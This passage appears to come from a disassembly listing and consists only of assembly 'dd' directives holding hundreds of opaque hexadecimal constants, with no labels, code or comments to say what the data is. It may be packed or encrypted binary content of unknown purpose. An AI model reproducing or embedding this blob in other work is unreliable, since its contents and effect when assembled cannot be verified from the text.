0F3BF00C4h, 0CA4D579Eh, 8F540400h, 883B0A8Dh, 16DAF614h dd 268BD2Ah, 18FF7A6Ch, 3A3AE22h, 7900B12Fh, 0CEA73438h dd 94C5E1h, 538744CDh, 0AED234Eh, 6EB87B17h, 8D83818h dd 25A344CEh, 1858C542h, 59B50B71h, 54A2C1E4h, 54C2C7ACh dd 7E5D64C8h, 4365DA00h, 0DF5C061Bh, 692E0A96h, 67BC18E7h dd 97C3C1DBh, 0F6029DDh, 0E1E2DC98h, 183F071Dh, 292581E7h dd 73B320ECh, 31ED252Fh, 48764C05h, 989AD74h, 0EA7C9323h dd 5B82181h, 50D120DAh, 0BB661F03h, 3E338952h, 42C138B8h dd 6521A428h, 0A310B72Fh, 1400F51Ch, 19EAFF6Fh, 7B4675h dd 17CF1578h, 359D66F6h, 0F48EE309h, 477C02EEh, 22C46695h dd 2577CE24h, 0D49F5712h, 4015748Eh, 28211CFEh, 9F905026h dd 3E13A1DEh, 1EB50004h, 76588C48h, 2ABC01AFh, 0B6B74511h dd 622FDD89h, 866800D8h, 0C39F4D9Eh, 23520F08h, 0C2E79825h dd 0A27C934Ch, 38642DFAh, 952C71E8h, 3D40A4DDh, 10F60CFCh dd 214A8709h, 0C5A91E7h, 71A8929Ah, 13F676DEh, 12C6B71Ch dd 2214CBA4h, 0ACDC48AEh, 77F86E83h, 0BC3994D0h, 4155A140h dd 80502CA6h, 445F1CDAh, 0B18500B9h, 9B23011Dh, 0B8A58F28h dd 11C9488Ch, 67D01D1h, 93B6CA8Ah, 5E6051E3h, 3444C16h dd 8FEDF900h, 0A207BD5Ah, 0D51C1295h, 0D8ACC4A4h, 5C48B178h dd 94129F40h, 844178C8h, 54930609h, 0DB9C22CDh, 8707309h dd 0F46A8058h, 0D12A0904h, 8D0B64F2h, 2C10A55Bh, 1813A9F5h dd 7800F654h, 0F2BFF7DDh, 55150122h, 0EF4BB50Fh, 0D484F676h dd 0C7B032EBh, 8F5D0878h, 4ED59E2h, 0B8B2F9h, 6C2D8FDEh dd 25536D93h, 0D0101CE3h, 4830DBFAh, 7256F1BFh, 5826071Ah dd 623CB06Fh, 0F8612BBAh, 89850C42h, 13B47057h, 1DA8040h dd 9D0F0C9h, 0FAE240DEh, 0DAC70079h, 8D6203BFh, 0F3E9215Dh dd 0F10BB991h, 80192909h, 10F20D0Eh, 8B307D40h, 543F80AAh dd 97D71243h, 44242348h, 398430C5h, 0EA7B3210h, 50972926h dd 0B7C89A10h, 4A8EDA83h, 6389078Ah, 1E9B8F79h, 0A4A47289h dd 0B1F8B0C8h, 0B0944B7Dh, 0F424AC44h, 25008B64h, 61C8D022h dd 798D631h, 8AA49130h, 0A860B1B7h, 0C3DC608Fh, 0FF48B900h dd 8129F84Eh, 0EF7601ADh, 919B9079h, 0DB2C42B7h, 0E0264520h dd 0AB5600C8h, 603CAA89h, 271432F8h, 21D89806h, 5BC4BC4Eh dd 0A9EC283h, 30282054h, 17C987A6h, 59000E0Ch, 0F488C192h dd 0F65FC6h, 0E9D86B95h, 8EB6EF44h, 0C8E04B58h, 0FC044B97h dd 0B7EC4589h, 42DA58A0h, 26352252h, 6070662Fh, 43F1FE14h dd 1E216717h, 0F9B9E200h, 58BA3F4h, 0DC991A9Bh, 2ADCCC02h dd 2F68AF13h, 0C31E8090h, 4D150186h, 0BC24F970h, 489CD44Eh dd 53B3C40Fh, 10DCB41Ah, 4B18C04Ch, 1CACF9DAh, 3177D10Eh dd 5A6680E4h, 57E697h, 6749EF52h, 7DFA8F4Bh, 39555300h dd 0A14E6BA7h, 0CADB17C3h, 0FCA00859h, 71976380h, 99B71F45h dd 1033815Ch, 0EC735B5Dh, 9FDC393h, 0F83927CBh, 0D48680Fh dd 0E925DD0Ch, 56E002EAh, 38D079E6h, 0F8558FC1h, 0B400FC52h dd 7A29034Fh, 917F594Bh, 511C82B0h, 8CA0AA2Fh, 0F018527Bh dd 76049D72h, 99B96F9Ch, 0D12A7C82h, 12F21118h, 0B8322F09h dd 18271903h, 208B41B3h, 2D229D80h, 3CF05839h, 2160F930h dd 0E888408Eh, 884381A1h, 0E2011E8h, 1C409766h, 0A692AA31h dd 4A00C8B1h, 0C0512CC9h, 333C0004h, 1F6B5C38h, 37138CB3h dd 60086577h, 0FB6684CBh, 957C1DBh, 223423AEh, 7DC2C74h dd 0C4A2498Ch, 0EE01EF01h, 84331BE6h, 8DEC212h, 0DC8C91FCh dd 0FE563922h, 2E740077h, 9667398Ah, 5300201Dh, 0DC34E7Dh dd 0F3089BACh, 0C8EAF893h, 78B98A58h, 86C02C04h, 0E481FC48h dd 253D1337h, 21E25060h, 0BA1317FAh, 2EF82428h, 527D215h dd 813F8A61h, 8BC2FC8h, 0F14D444Bh, 0B4FEBCB0h, 9A109F89h dd 7300E0D5h, 0C0AEBDC8h dd 11179Bh, 0EC377956h, 48D91334h, 0AC00CCB9h, 0EB2AE62Dh dd 57AB034Dh, 0C5A725F3h, 8C4BA990h, 0A03C20F7h, 3CA8C0B9h dd 0FE8B244h, 0FC4DC2CBh, 5E16180h, 600E92Dh, 8120BBF1h dd 0A18240FEh, 970CE698h, 0BF252184h, 53008311h, 0FD603082h dd 80A15B19h, 0A6F8546Ah, 0A0DC2D34h, 66895970h, 0B21301D6h dd 3216A935h, 7926E8EDh, 7B0B3902h, 50F7D148h, 0D70922A4h dd 0C9AC2F30h, 0B82DAAh, 0E54B6DCBh, 0BCE67EEAh, 3C9C562Ch dd 0B853BF90h, 6C42007Eh, 20393AEh, 4B094CFDh, 1861E499h dd 0B1D8F234h, 4200BEB8h, 983068E3h, 6310605Bh, 6221E572h dd 0B1129C91h, 0CB409742h, 709038ECh, 444CC45Ah, 38371DCh dd 1DC65BF6h, 2A801666h, 0B30BD8F0h, 4EE45D15h, 0C64830D4h dd 0FD0E1611h, 67DEB801h, 9709536h, 42B046FAh, 0E1A1129h dd 30264B7Ch, 0B923B6ACh, 2B52217Ch, 7454590Ch, 0B6DD1740h dd 252E807Ch, 9B5719AAh, 0CCA92F0Bh, 779C982Ah, 0E93C0167h dd 6F0D2724h, 829CFCD4h, 940076F8h, 1F7E3215h, 1603199h dd 9740668Bh, 0E1D36564h, 1461D214h, 0F4A04D8Eh, 2409C182h dd 40A01830h, 84B7D7E0h, 9165B244h, 7ECB806Ch, 0BD2271C3h dd 81EAAD26h, 0BC3D4800h, 1ED6F005h, 0CA8AE2CCh, 28742DF3h dd 0B789235h, 0A5351DB0h, 0C50C3083h, 68D22AC3h, 0A8884478h dd 5103A7CCh, 93B2B3FBh, 0A7F4DBh, 8F0EC24h, 0DC0B81A9h dd 1390C404h, 3037975Bh, 0F98F41C8h, 474CD8B0h, 101BB06Ch dd 3DB400F6h, 0E8FA2CD9h, 0AE585735h, 1E510108h, 3BC69A7Ah dd 72211868h, 0BCCB9797h, 4942867Ch, 4809063Eh, 3CC8F06Ah dd 0C0709245h, 58AE5B73h, 0A113DD37h, 0FC63C247h, 6802157h dd 5CE2088h, 2DBDEh, 71FA7C18h, 2D02D0F1h, 220968ACh, 4E3C44D5h dd 6C6040E1h, 7A3F1507h, 253CB70Eh, 0A187A4B5h, 0A850E8B6h dd 21C84174h, 0C8182CB0h, 60E14F26h, 0F06CB964h, 488661E0h dd 0D730F4F3h, 4490F211h, 0E30770FCh, 6839921Ah, 0CC6ECB90h dd 37B0017Eh, 0B2C3B8A3h, 507DDDh, 52AD5D2Fh, 26454A92h dd 0D7C63Eh, 1951975Ch, 0C002DC48h, 220A8BBFh, 0B7B8A05Fh dd 0C94F46E0h, 4C903088h, 0D400FB7Ah, 0B396F720h, 3B70C59Ch dd 21602FDCh, 0A1A8EF07h, 75F8F200h, 79F9A04Eh, 28C6F2E5h dd 0F9C06526h, 299BDC64h, 3EF4BC93h, 65008022h, 0E04D558Dh dd 2C5867Eh, 492CB791h, 0DC80D616h, 0A2022FF1h, 54A8CBh dd 0B1B04BD8h, 85E980FEh, 8A1E7C88h, 14D81C41h, 0D60020B2h dd 4F706310h, 0F600AB58h, 0DD5BB340h, 192243ADh, 7044C1F1h dd 82382984h, 21A2BA97h, 85F20CB1h, 0FB0D5FA1h, 0DA2DEC44h dd 7196A646h, 86A0124Fh, 32A900E7h, 0C582C76Eh, 1E2E56A6h dd 0A5615CBAh, 2BF46D15h, 622F009Ah, 22464D65h, 0E709E550h dd 44B664CEh, 0B444020Ch, 66678013h, 0C10020F1h, 2F877E1h dd 0FBF40125h, 8D63B3E9h, 2F28306Bh, 0D0A3A231h, 0BC23488Eh dd 40909721h, 7F93B682h, 4B22AC5Ah, 27654B57h, 10785088h dd 0D23E0B87h, 442450A2h, 0BA9D3E00h, 0B668F263h, 42050020h dd 972B66AEh, 29C0A498h, 5EEB501Ch, 25A09AF0h, 0B065B843h dd 2B1E2411h, 5359806Bh, 0DD03A374h, 79113600h, 0F513B0A2h dd 0A6E0094Bh, 8812D18h, 81A79195h, 81FDDE69h, 0BC22CBB7h dd 20E12D13h, 41FE6A64h, 3DD5D800h, 0E8903CF6h, 1693002Bh dd 0AED39DD4h, 0C304DC3Ah, 8FCC223Eh, 910A0C82h, 2D109AF4h dd 45031DAFh, 657E0551h, 0C6C3D030h, 867C0222h, 7BBBCC3Ch dd 6C665C41h, 80768830h, 679314B6h, 8C9A4E43h, 0A022FF43h dd 0A8A55718h, 442E64E1h, 170023B1h, 6B095987h, 3EA34532h dd 0D68F5D0Ch, 246650FDh, 250CB1C7h, 88C05F03h, 48D18662h dd 479D1144h, 8BFE4810h, 0E118B091h, 144D4C5Ah, 1DF04424h dd 45B026CEh, 4D140194h, 0DDAC4CD6h, 79824B4h, 40608E41h dd 9D0084ABh, 361BB44Eh, 2648B74Bh, 4ECE7FCh, 0F5080FDCh dd 8044FA98h, 2A097E00h, 3F4E7F65h, 59E00C0h, 0B38A8212h dd 4075A31Dh, 0EB8110BEh, 179774E7h, 3587C86Ch, 3CF5F024h dd 0AB0186E8h, 0B3A06554h, 9EC9F1ADh, 880F8C60h, 4D1FC9DAh dd 40EEE6D0h, 7000B8A6h, 0C4264F1Ch, 66EE3E68h, 96640700h dd 79D32805h, 59256000h, 6B3008ACh, 0E7610078h, 0BD3C4EF1h dd 8B01106Ch, 96B5AA40h, 0F058B293h, 72E78130h, 76F078Ch dd 2AB04B98h, 24AE37BFh, 31C4C08h, 97A9CA2Bh, 17196B88h dd 6461361Eh, 8843591Ch, 83BA8CA2h, 0F06BB183h, 0EE01EC76h dd 0F9F63F7Eh, 6DC6F877h, 93F80739h, 340412B0h, 530086C3h dd 0F23402E5h, 0A04F8D29h, 0F0721080h, 0E13705Fh, 0AD0718B4h dd 8637C860h, 2C02F8F9h, 0A1148F69h, 7B8CF09Ch, 0DB4B0905h dd 0D4491308h, 8B0622Dh, 0AD250EDCh, 0EF396490h, 63F44250h dd 9548A300h, 0B1D9C516h, 0C1860009h, 7D2E9FA0h, 0B30769A6h dd 8A6BE2EFh, 3F3C0539h, 7EDA0C00h, 131E3DB8h, 0C806DBD3h dd 98005404h, 129F7530h, 7D415Bh, 5597D7B3h, 0EAED7F76h dd 0DCD36600h, 5108B4A0h, 0EC9B093Ah, 54D1DE14h, 4E1A8181h dd 94C4C0F8h, 2682EE07h, 0BF9CCA48h, 0D77802C2h, 611E28A7h dd 202A6816h, 0A5B2480h, 59F65F04h, 3087CBDEh, 1FC478C9h dd 836A2D04h, 8A0C3C8h, 884558Ah, 30BCF2FBh, 0B21A20F7h dd 0A30103FAh, 0F29AD135h, 1C54F6D2h, 49C8296h, 5D113994h dd 2A46CA6h, 644C013h, 0ADA008E3h, 967FB09Ah, 90888F4Ah dd 2FEC8889h, 28A66A2Ch, 93229044h, 484038D1h, 769963C0h dd 2DE70ED7h, 6B00EA9Ah, 2AB2CEC9h, 11E0F118h, 88AB97A9h dd 189541B1h, 204966C8h, 5499023Dh, 8E05F81Fh, 508C9A41h dd 0B1688A8h, 0F046151Ch, 5FF59C80h, 2223124h, 83012D4Fh dd 2C50694Ch, 4199A633h, 0AC9F882Ah, 5C9C00ADh, 0A51B63A8h dd 7E00E9B5h, 0E313FB1Eh, 3EED2D78h, 1405C0D9h, 81360C9Bh dd 0ECCB575Ch, 0BF0117B6h, 0DB7E0D65h, 0C6DD309h, 0F040205Fh dd 0ED077CB2h, 0B1C8F7BBh, 80B80C21h, 9C386071h, 0F4CC2EB2h dd 9423C200h, 0B2429F60h, 0A26701ACh, 0B1147D37h, 33A03054h dd 1DE0809Ch, 391D85Ah, 512FEDA9h, 0C4E27D74h, 6C0018D1h dd 915B951Ch, 42B866h, 4EBB165Fh, 8A36C762h, 8EE33B00h dd 0DB7239F9h, 9DD4A0Eh, 0D81030BCh, 0C8F05E11h, 180F903h dd 0F8A14737h, 26888192h, 60088DEDh, 2B58092Fh, 0B6498000h dd 532D45C0h, 2E8B897h, 0AD512C42h, 28C0A37Dh, 618AAF96h dd 8C08FC48h, 2DA1A344h, 100EF018h, 0ED05F6C8h, 3856248Fh dd 87A9E008h, 6062B823h, 0B7F99E7Ah, 1420C04Eh, 16D6EEh dd 70394E52h, 993319A6h, 9FCAA70Fh, 5856DE61h, 3244D300h dd 58804A8Eh, 47B1D417h, 385A31C5h, 16EC85B0h, 442DFCF4h dd 6B78FAC8h, 68076100h, 0EC3719E4h, 4230058h, 0B72BE551h dd 0FA515E7Dh, 1EB872CAh, 6D408C27h, 0B8772BC6h, 530701FEh dd 0D8FCEE17h, 8F506CBEh, 0E6409F33h, 31391BFBh, 1460005Eh dd 0C2012BD3h, 0E0241C3h, 692DFE54h, 14CD86Ch, 68F51564h dd 0C0BD28E7h, 0C24E2A4Eh, 7EBA8C98h, 6D9901B4h, 9456EF8Ch dd 170840C4h, 97272DAEh, 30658Bh, 0EA3F9A03h, 0D500B3DDh dd 0C6A5D401h, 5C5B21E8h, 8B82D87Dh, 0A4660217h, 0E4404B4Ah dd 629EAAF4h, 0F5D300E1h, 0E6A6740Fh, 0E803873Dh, 8DCA57FAh dd 47C91C6Dh dd 0B6684B15h, 3DD8E003h, 8010BCB4h, 5ED0CB0Eh, 26F72EDFh dd 60682568h, 3D00B4CEh, 0F533FF8Bh, 7E65855h, 0BB8325B0h dd 0F6FD7027h, 0AF5DE12Eh, 48455888h, 62F8048h, 5C9EC665h dd 51027857h, 0C7A5D875h, 0A1409476h, 76A05CAFh, 0B26107B9h dd 909EC33Bh, 4406697h, 0CC9D802h, 62C05850h, 0E2684628h dd 0DAF03E38h, 0D5000F3Ah, 0BB25412Ah, 0E4B8C8D2h, 25C63E22h dd 344605DCh, 81A449C8h, 51AC58F0h, 30C6F5B5h, 0ACBC9C34h dd 96808049h, 26CBD5B1h, 26285093h, 8BED40FCh, 0B000CC69h dd 0F1D13134h, 0A427610h, 41C05528h, 0A3A03FA4h, 6340D0B6h dd 2CE98Eh, 0D198EEEAh, 1FC688A3h, 0D9DBB500h, 6DCE02Eh dd 0A8048A0Ah, 16C859C4h, 0E8469512h, 488CA4Fh, 90EE1E87h dd 0A7E80D4h, 0FB2A0B76h, 6126C401h, 842FD136h, 5F285468h dd 0D4AC2098h, 618FA891h, 374800C3h, 0F21D203h, 668ADCAAh dd 88A42332h, 0D4D09DA0h, 3DF6A400h, 713033C0h, 5447007Dh dd 2CB3070Eh, 0A8A9BF2Fh, 50FC1472h, 1C00F88Bh, 8EDA5E88h dd 20030700h, 1A7A8936h, 2FFCE795h, 40989199h, 0AD0D3794h dd 0E74703Fh, 0A0B86D3Fh, 95972B17h, 40DE88A8h, 0D67C3E02h dd 0E0D4A189h, 9512C444h, 3F50E8A1h, 98829BAh, 44BF4842h dd 0CC9B0BF8h, 828086EFh, 728D5C2Eh, 0F468B226h, 0C0FDD044h dd 0F22310C0h, 0E400CCD4h, 421BB784h, 0E3B3165Bh, 4FF49804h dd 840B4BEh, 23C3592h, 3F46BAB8h, 0A0FBAB5Eh, 1825080h dd 98E37F93h, 0EAF626CCh, 40A044F8h, 2B153F56h, 4B09884h dd 0F4F9283Eh, 5CACF3h, 0ABE81AE5h, 0EADD1h, 4EED10EAh dd 0A9A89FCBh, 52978C00h, 77C93E7Eh, 0DDCD1265h, 273FC88h dd 0C5DC318Bh, 945248h, 9B0DD56Fh, 2E2D3306h, 0D7478005h dd 72C07F57h, 64EE1526h, 88E00865h, 5000A6F0h, 0A742B81Fh dd 0EA9432h, 1455F6F3h, 5709393Dh, 0A6293502h, 0C00D20D6h dd 3B5FA2h, 16689741h, 4EB46D5Ch, 537EF900h, 6C1742E7h dd 4C9D0095h, 94ABC20h, 660E35BAh, 0E024718Ch, 68A1485Fh dd 2E070A45h, 189C3EEEh, 64CCC022h, 0A620B000h, 0B7F24F02h dd 2198B86Bh, 8D028043h, 5107DB73h, 0B5C248Ch, 0C0047B44h dd 2E0481ECh, 0B8C79DEh, 8DB1B5h, 92311093h, 13F7730h dd 4FDE451Ch, 23FDB766h, 0ED3E007Ch, 9103A081h, 0D0B30567h dd 7B86CE5h, 0B01E0CE0h, 0B460CBB7h, 0B24630C3h, 562F88F6h dd 0BB64B1DDh, 83D9DF07h, 2E573064h, 4707CF8Eh, 14ACBFDBh dd 2C5BD010h, 0E73F0277h, 95FC0DFh, 10785842h, 0B688CDEAh dd 40955E96h, 31F5DED0h, 3E3A4E4Dh, 8086BD09h, 45C3125Ah dd 8E94D37Dh, 1B490C00h, 0ABB6520h, 0EE8D1CBFh, 0A524C44Fh dd 5374B0FEh, 4D498F04h, 5CC8123Ch, 2CA3851h, 7D938287h dd 5DB740FAh, 0F0B8C524h, 6BA78F04h, 708C959Bh, 49150441h dd 8CFDCE7Eh, 0FF0797BCh, 6E6CAF5Ch, 1EBE3EF0h, 0B7C0466h dd 0CCFC0FA8h, 4814271Ch, 0C9CD77h, 0A609427Fh, 58CE2D93h dd 0B8C40464h, 3F109097h, 0BC541B7Dh, 8E862898h, 93974168h dd 2C034421h, 0A08A46FAh, 4C9A265Ah, 7C3518ABh, 81BC80E8h dd 327247Ah, 0D2ACE359h, 40B524A6h, 0F86C50EEh, 25BA0026h dd 64C14082h, 0D902C617h, 4E47BC9Fh, 3EAC954Ch, 90A64B74h dd 675B62A8h, 4513D900h, 422C9665h, 32381DE9h, 95418451h dd 9230A057h, 27DEBC44h, 0C64CC3Fh, 1E20D43Bh, 14839E80h dd 0B0E29D45h, 298DFA2h, 9A526603h, 0B0C38CFBh, 4A18E3D5h dd 0B7482820h, 0B2D700C5h, 0E730F572h, 4500E937h, 38DA517Ah dd 4C38C97h, 0EFA15E63h, 500888CFh, 659C5C93h, 0C5F48E84h dd 1E770CB6h, 27E4550h, 0E24DC31Ah, 0BC249088h, 0DFC074D8h dd 1AB8DAF9h, 60E80E25h, 258BA320h, 48E96DBCh, 0B06510FEh dd 0E0D0011Bh, 0B2E9987h, 3EC0E57Bh, 0AA091C44h, 0C3C378A9h dd 0FDA02B9Bh, 5402A888h, 4D427193h, 805F0283h, 4A8A220Fh dd 2585C99h, 0DB63FDF2h, 5164BDC3h, 0DC45C6E0h, 4164D902h dd 1904B20h, 2450A23Eh, 2F248FF9h, 6C9493F5h, 2B84827h dd 7ADE2F24h, 0A60B00ACh, 7CFCE061h, 9006EA4h, 0BA500519h dd 1364DD73h, 0C16A3EAEh, 3AAAC2B4h, 0F3B05000h, 2059DC3h dd 8A8882EAh, 38D1B339h, 0CBE51387h, 985627C0h, 8050BE30h dd 0F9904E18h, 0A0914F97h, 0F6824601h, 478CB1Bh, 0DF3DC605h dd 218CF38Eh, 80429096h, 91FBE855h, 94A87248h, 0B580BF90h dd 9778FD4Eh, 0A400FBF3h, 8D5F7E57h, 285BAD83h, 2094B163h dd 0B304A815h, 5F209388h, 52DB84E0h, 833BB87Dh, 40D84D07h dd 0E08A04A7h, 0D4699C0h, 35BA9A12h, 68B2A0h, 16AA0FACh dd 11B87h, 39E73EB0h, 6BDDA4D3h, 13C484Dh, 0C0C6B906h dd 0B86908DBh, 0E8C0DC8Eh, 0CDB75099h, 949B8E12h, 4A26425h dd 40C13600h, 165D0EB5h, 24D48E4Ah, 1BDC5004h, 53F0488h dd 97E846F5h, 4EC02165h, 4C9822E0h, 526B0745h, 0F949AF8Fh dd 88570058h, 0D3F67126h, 329B2100h, 0ACEE0639h, 4300BCA3h dd 1EF0CE37h, 0AB00683Bh, 10BC347Ah, 0B29946h, 2698F3A4h dd 9313CC80h, 0DA38809Dh, 663042Ah, 6814C179h, 3A00C12Fh dd 0D0E30B3Ch, 5F7C2Ch, 0C023D362h, 9173D197h, 0E09A3916h dd 55088400h, 91051BEh, 71B0997Eh, 36D5F080h, 0A53ED816h dd 51C60113h, 2D598A70h, 461828BCh, 4E31902h, 0F3D89000h dd 0B84CA8EAh, 0DCBA3EB4h, 0AA420072h, 28B32CC2h, 80F75470h dd 4577FC69h, 198D146h, 81E0B9D5h, 0FCF24401h, 0E279677Dh dd 0C4546E18h, 0C27431h, 2290BB5Fh, 0B1FEA801h, 72F88607h dd 0D831F637h, 918615ABh, 39DBF31Fh, 0B1229F30h, 0F029FDA2h dd 6B730052h, 906AC5FEh, 10014B4Eh, 8EF6E92Ah, 3992CAB9h dd 0A4E105B2h, 669000D0h, 1C129BC5h, 8065C9CEh, 0ABF55BCEh dd 79CB30AEh, 0A3FD1078h, 0A8712960h, 3A111A19h, 250031A6h dd 463F5BCDh, 5D018974h, 0FC6EEE6Bh, 6CC00E93h, 10CE0635h dd 0D028A3A9h, 3C1A2558h, 513D3062h, 1268D83h, 87A2C88Eh dd 0FCAD8BE0h, 9300B5C2h, 82CE2F5Eh, 727633F8h, 0ACD9150Dh dd 0E5088804h, 8E3DC573h, 408E2D45h, 54DD505Fh, 0ACF1C0BFh dd 0F4D0DAC4h, 8C812E0Ch, 462F8C5h, 83B69241h, 0BD5406B4h dd 0CA7331h, 922AD3B2h, 9A40DD2Bh, 0F80190A4h, 6D566A66h dd 7FF3E8Ah, 0EFCE9BC1h, 0A884309Ah, 0E8C10CB3h, 8CE682B1h dd 0DFA5A050h, 95F30120h, 36FADAF0h, 0DDB4DCE0h, 7C4B033Ah dd 0DCC91B00h, 56F24C11h, 4E960035h, 5E4ACCF8h, 0B33A9454h dd 0E1FD80E9h, 0C277F0Dh, 339F002Ah, 6247AEB1h, 4B001B35h dd 0CE5A0F79h, 2A20BFBDh, 90718Dh, 64961FDEh, 903F4787h dd 21462A0Eh, 0EA1D606Dh, 6F831D6h, 11C60EF4h, 0D248AAF1h dd 80398834h, 3B52974Eh, 0CE0079A3h, 9EB5A1ECh, 916004h dd 567C28CAh, 6E5AD409h, 864B760Fh, 46BDC219h, 0A7D8AF05h dd 6D70B880h, 50159B6Ah, 0AC50E5h, 7ADB43EAh, 0E60487EDh dd 0D0CFCE01h, 179656EEh, 83204884h, 6910007Ch, 0C03A751Eh dd 1A01A658h, 2C031946h, 78B82D64h, 3DAEE10Ah, 0D5540841h dd 0C298D180h, 3CB98713h, 1E2E9E00h, 0D8A0DA94h, 909203C1h dd 61B4FCAFh, 0BD7D9900h, 33960C69h, 0FD340758h, 0E005ADE0h dd 1A24AE22h, 0DF233602h, 0A0209E3Eh, 69962894h, 0AC8700C4h dd 4160B4C2h, 0F70184CCh dd 9A43564Fh, 0B82416F6h, 0FB943DEEh, 5548DD80h, 6C4B8B10h dd 22440D4Dh, 1AB3011Dh, 2ABBC334h, 3DE8305Bh, 7B73B39h dd 8E7382E9h, 0D2729270h, 0AAD509C0h, 6CA07DABh, 0E46C4AD3h dd 0AD22607Ch, 0BC90020Ch, 0F820CEFDh, 0BB7D0C64h, 0F8720630h dd 0EA7985h, 382B4499h, 96A9090Eh, 0F4EFBD00h, 0DD6DF9BFh dd 0F128609Dh, 0FBCB5024h, 238F7D00h, 0DCE0A413h, 0E8FEE81Fh dd 9C9301Ah, 987D5579h, 2220F639h, 249F50C1h, 79DF020Fh dd 0A4E723E4h, 0D61F94B1h, 5E4754A1h, 36D03C8h, 605F74E0h dd 491D26A3h, 0D8008788h, 0B2AA6AEBh, 8A6E0C63h, 46213841h dd 0F8911B60h, 0DA3C64h, 0DEA58E06h, 0B34AB8C7h, 0CDFA5C00h dd 8AE66E2Eh, 650C026Dh, 89A6AAC9h, 5C981862h, 81EEB8Fh dd 14C99294h, 4165003Bh, 2486F70Dh, 75C07D6h, 26FA1F2Eh dd 0AF00802Ch, 4ADCF6CDh, 28FA60Fh, 0F9208364h, 0EC6E2D4Eh dd 8F00B8F8h, 77EF5318h, 0EEA5B66h, 5DA66C39h, 0C7828854h dd 0D882846Bh, 0D864C9AEh, 21D75530h, 0A5A425h, 0AC0570D3h dd 0AD7F3416h, 6885AB13h, 0C9B11C00h, 0CE40Fh, 0C87A3790h dd 18B28D2Ah, 0E8B00605h, 9BC0404Ah, 2252C65h, 20F0B1FCh dd 0E091DAEFh, 83491021h, 0CC171D08h, 752EC044h, 0ACEAD9F0h dd 3F79E101h, 0D432C29h, 0C10B4088h, 0D6AE2680h, 765803h dd 0C883FD6Ah, 467B476Eh, 40CD8500h, 89F72C39h, 54F83829h dd 0FDAE3960h, 441D4658h, 89962C11h, 0E5F15020h, 0D184A88Ah dd 0EB6700E7h, 0BD056860h, 9B7783CBh, 0D790541Fh, 3E00EE57h dd 0ED1DD36Eh, 0C142E877h, 0A59EA870h, 4613F0DDh, 7C180149h dd 480D3Ch, 870A93CBh, 0C67AD92h, 0EEE0655Fh, 0C939F570h dd 49689F0Dh, 0F80E6C9h, 4A8B2318h, 7A1EE08h, 0DCEACAB6h dd 2C3FC305h, 0DAD1B904h, 65C62B9Ch, 0B02E0071h, 2CBB0CC8h dd 0E01675EFh, 0F703049Bh, 0B8954AD2h, 0F85E7h, 0C151A55Dh dd 653E7148h, 96635600h, 5BD722E5h, 0ECFB5895h, 55B2AC00h dd 7E082FBCh, 2AADD918h, 4F0F469h, 7DE28166h, 0E53CCCBEh dd 654F8812h, 2EB8117h, 0B1BC78AFh, 269CEF60h, 8FC70F39h dd 0E0DB5DFEh, 4FDF6CEh, 0FA2015A1h, 0D914D4EDh, 1F82A0A2h dd 0C82BFFDh, 59220DA9h, 40C710A1h, 0E9118409h, 0AE6800ACh dd 0C47CC546h, 21C20B41h, 0C1507A0h, 4D19C5B0h, 8B5D5506h dd 1D61C04Ch, 2C748220h, 39A44784h, 87F38800h, 9B0F1BDCh dd 97B5F59Dh, 694C6C00h, 2E646509h, 42308920h, 5CE0ADDEh dd 0A4002BBCh, 0A61B1A09h, 918BFCEBh, 9AC173Ch, 20014198h dd 81259E42h, 0FA9A2619h, 15C437C2h, 28F89030h, 2264BDF2h dd 700C0BAEh, 0B96AA2DCh, 191F6046h, 5692E0BDh, 73CB6E03h dd 0A069F085h, 0E5A8432h, 462C1AC5h, 40B4A63Eh, 0ADB28FF5h dd 0A47A9019h, 8B11FEC8h, 7CB83246h, 80A88C58h, 84C72665h dd 80A499AEh, 0B605F4B0h, 0F0007146h, 0F66D0DB1h, 2AFB4586h dd 44BCBE7Ch, 0AC992601h, 93AC8Eh, 24C917E2h, 4E801F21h dd 13FE40DBh, 0AEB7154h, 70ECAF5Ch, 0C415F20h, 78872026h dd 4A02D491h, 0A2D07377h, 0A985232Ah, 6D2C96B8h, 0CD9A7A09h dd 39C490E6h, 0FDA07DEh, 0E730069Fh, 0C15427B8h, 48414ADDh dd 8114858Ch, 10894EAh, 2C3E5F0Dh, 0C8295553h, 76663C00h dd 0D80585BDh, 34AD2A08h, 0CD096F83h, 40BF7004h, 0B2CB6747h dd 90251D07h, 5CCE0168h, 0E43C369Fh, 4400478Bh, 0C61BDD15h dd 0F04BBEF8h, 5C117FEh, 6B84F5Fh, 0DD701080h, 0D419D2E6h dd 0E5A117A4h, 1752029h, 0C1331D96h, 0C857F276h, 0DF005097h dd 10D108DCh, 0E6AA67Fh, 0AD517466h, 4FCCD083h, 0DB399DA8h dd 0F1F0BD01h, 565DBEF9h, 17461ECh, 0A9D72401h, 0CCC259DAh dd 660D8ED1h, 20BC3992h, 1F407160h, 400183C4h, 0DDF3215Dh dd 0A50393BDh, 0EAC6E16h, 67A3A00Fh, 50740E5Eh, 0ECA0E3ADh dd 529CB5BDh, 36509F78h, 0B0601808h, 83BBAD59h, 11B661DFh dd 0BC76E6BCh, 0B1D40318h, 6FCC96h, 1083C250h, 0B220198Dh dd 6E173600h, 0D469A774h, 6C9700D0h, 0C386DBDAh, 0CC419ADCh dd 1885C2E4h, 61B338D4h, 796E71F0h, 50F785B6h, 0EA98043h dd 0AED1A1CAh, 38B67881h, 47DE8455h, 0D5C10054h, 7018AEBAh dd 60395901h, 0C9646C34h, 63074F20h, 0B54B8A0Fh, 1E7EB08Ch dd 0D221FFC8h, 5B448061h, 0AD01467Ch, 30AB9896h, 39E07926h dd 66F933EFh, 618E5DD0h, 7B4FD400h, 0EA7A9276h, 804207B1h dd 7FB9B5FAh, 0FC3678F9h, 460F0B98h, 60ADBFC9h, 0F8B80C63h dd 62A501BDh, 0DC845707h, 0DC998B7h, 78141190h, 0E6E0E1Ch dd 0B26CC9B8h, 503A3621h, 0C09E02D2h, 87305FD4h, 0B750EC70h dd 348502Eh, 1EB0E60h, 0D018C4D6h, 4B41C23Ah, 2FE1003Ch dd 86B10496h, 0B21ED977h, 0E403170h, 4C3D35F4h, 46971413h dd 5A06C03Ah, 40D9F35Eh, 49C0BDF2h, 0E9967765h, 0C840035Fh dd 0F197CD59h, 1FC9B5A8h, 6C6F0C90h, 7554A099h, 3D6428D5h dd 888529F8h, 40E73BDCh, 0A2C856C4h, 31C06266h, 0AEAA3FEAh dd 5CE02Ch, 0DDFE5708h, 59765492h, 443390A0h, 30943151h dd 0AC00E36Bh, 0C0A6019Fh, 0C4FE3260h, 93864A49h, 3BF04154h dd 0C50025F0h, 56E918D6h, 